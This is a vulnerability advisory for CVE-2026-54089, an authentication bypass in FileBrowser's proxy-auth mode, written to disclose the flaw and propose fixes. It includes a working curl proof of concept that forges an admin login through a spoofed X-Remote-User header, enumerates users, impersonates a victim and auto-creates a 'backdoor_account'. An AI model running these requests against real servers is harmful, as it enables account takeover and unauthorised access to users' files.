CVE-2026-54089 — Vulnerability in...

## Summary When FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization. **This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.** ## Severity **HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) ## Affected Component - **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28 - **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing) - **Affected versions:** All versions supporting `auth.method=proxy` ## Prerequisite: Proxy Auth Must Be Enabled This vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication: - **nginx** + Authelia / Authentik - **Traefik** + OAuth2 Proxy - **Caddy** + forward_auth - **Apache** + mod_auth_ldap In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user. | Deployment Scenario | Exploitable? | |---|---| | Default install (`auth.method=json`) | **No** — JSON auth uses password verification | | `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly | | `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** | The third scenario is common because: - Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation The core issue is that the **code itself has zero defensive checks** — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement. ## Root Cause The `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user's identity. There are **three distinct problems** in this code: ### Problem 1: No Origin Validation The function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers. **File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:** ```go func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) { username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { return a.createUser(usr, setting, srv, username) } return user, err // <-- returns the user object, no password verification } ``` There is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value. ### Problem 2: No Password Verification Unlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user: **File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:** ```go func loginHandler(tokenExpireTime time.Duration) handleFunc { return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { auther, err := d.store.Auth.Get(d.settings.AuthMethod) // ... user, err := auther.Auth(r, d.store.Users, d.settings, d.server) // No additional verification — if auther.Auth() returns a user, a JWT is minted return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT } } ``` ### Problem 3: Automatic User Creation If the username in the header doesn't exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory: **File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:** ```go func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) { pwd, err := users.RandomPwd(randomPasswordLength) // ... user := &users.User{ Username: username, // <-- attacker-controlled Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.) // ... err = usr.Save(user) // <-- persisted to database return user, nil } ``` This auto-creation has no opt-in flag — it is always active when proxy auth is enabled. ### Complete Attack Flow ``` Attacker sends: POST /api/login + Header: X-Remote-User: admin | loginHandler() | |-> d.store.Auth.Get("proxy") | |-> auther.Auth(r, ...) | |-> ProxyAuth.Auth() | |-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled) |-> usr.Get(root, "admin") -> admin user (found in DB) |-> return user, nil -> no password check |-> printToken(w, r, d, user, ...) | |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}}) |-> token.SignedString(key) -> valid admin JWT returned to attacker ``` ## Proof of Concept Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token `"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"` ``` root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM" 403 Forbidden root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin") root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool { "signup": false, "hideLoginButton": true, "createUserDir": false, "minimumPasswordLength": 12, "userHomeBasePath": "/users", "defaults": { "scope": ".", "locale": "en", "viewMode": "mosaic", "singleClick": false, "redirectAfterCopyMove": true, "sorting": { "by": "", "asc": false }, "perm": { "admin": false, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true }, "commands": [], "hideDotfiles": false, "dateFormat": false, "aceEditorTheme": "" }, "authMethod": "proxy", "rules": [], "branding": { "name": "", "disableExternal": false, "disableUsedPercentage": false, "files": "", "theme": "", "color": "" }, "tus": { "chunkSize": 10485760, "retryCount": 5 }, "shell": [ "/bin/sh", "-c" ], "commands": { "after_copy": [], "after_delete": [], "after_rename": [], "after_save": [], "after_upload": [], "before_copy": [], "before_delete": [], "before_rename": [], "before_save": [], "before_upload": [] } } root@LAPTOP-VUMRCEKO:~# ``` <img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" /> ### Prerequisites - FileBrowser with proxy auth enabled: ```bash filebrowser config set --auth.method=proxy --auth.header=X-Remote-User ``` - Server is reachable directly (not exclusively behind the reverse proxy) ### Step 1: Confirm attacker (non-admin) is blocked ```bash # Using a legitimate non-admin JWT token: curl -s http://localhost:8085/api/settings \ -H "X-Auth: <ATTACKER_JWT_TOKEN>" ``` **Result:** `403 Forbidden` — non-admin users cannot access `/api/settings` ### Step 2: Forge admin identity — no credentials needed ```bash # Just one header, no password: FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin") echo "$FORGED_TOKEN" # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes) ``` **Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`) ### Step 3: Access admin-only endpoints with forged token ```bash # Read full server configuration (admin-only): curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGED_TOKEN" ``` **Result:** `200 OK` - complete server settings returned: ```json { "authMethod": "proxy", "shell": ["/bin/sh", "-c"], "signup": false, "defaults": { "perm": { "admin": false, "execute": true, ... } }, ... } ``` ### Step 4: Enumerate all user accounts ```bash curl -s http://localhost:8085/api/users \ -H "X-Auth: $FORGED_TOKEN" ``` **Result:** All user accounts with full details (usernames, permissions, scopes, commands) ### Step 5: Impersonate any other user ```bash # Impersonate "testuser" — access their files without knowing their password: VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: testuser") curl -s http://localhost:8085/api/resources/ \ -H "X-Auth: $VICTIM_TOKEN" ``` **Result:** Full file listing of testuser's scope ### Step 6: Auto-create a new user account ```bash # This username doesn't exist — server creates it automatically: NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: backdoor_account") ``` **Result:** New user `backdoor_account` created in the database with default permissions, JWT returned ## Validated Results Tested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09: | Test | Result | |------|--------| | Attacker token (non-admin) -> `GET /api/settings` | **`403 Forbidden`** (blocked) | | Forged header `X-Remote-User: admin` -> `POST /api/login` | **`200 OK`** — valid admin JWT (608 bytes) | | Forged admin token -> `GET /api/settings` | **`200 OK`** — full server config returned | | Forged admin token -> `GET /api/users` | **`200 OK`** — all user accounts listed | | Forged header `X-Remote-User: testuser` | **`200 OK`** — testuser JWT, files accessible | | Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** — new user auto-created, JWT returned | ## Impact An unauthenticated attacker who can reach the FileBrowser instance directly can: 1. **Full admin takeover** — impersonate the admin user and gain complete control 2. **Read all server settings** — shell configuration, permissions, branding, rules 3. **Enumerate and impersonate all users** — access every user's files without credentials 4. **Create unlimited backdoor accounts** — auto-creation generates persistent accounts 5. **Modify server configuration** — enable command execution, change shell, alter rules 6. **Chain with other vulnerabilities** — gain admin access -> enable shell mode -> achieve RCE **Attack cost:** Zero credentials. One HTTP header. ## Suggested Remediation ### Fix 1: Add trusted proxy IP validation (recommended) ```go type ProxyAuth struct { Header string `json:"header"` TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs } func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) { // Verify request originates from a trusted reverse proxy clientIP := realip.FromRequest(r) if !a.isTrustedProxy(clientIP) { return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP) } username := r.Header.Get(a.Header) if username == "" { return nil, os.ErrPermission } user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { if a.AutoCreateUsers { // Make opt-in return a.createUser(usr, setting, srv, username) } return nil, os.ErrPermission } return user, err } ``` ### Fix 2: Make auto-user-creation opt-in Add a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation. ### Fix 3: Documentation warning Clearly document that when using proxy auth: - FileBrowser **MUST NOT** be directly accessible from untrusted networks - Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it - The reverse proxy **MUST** strip/overwrite the configured header from client requests ## References - **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go - **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137 - **CWE-287:** https://cwe.mitre.org/data/definitions/287.html - **CWE-290:** https://cwe.mitre.org/data/definitions/290.html - **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html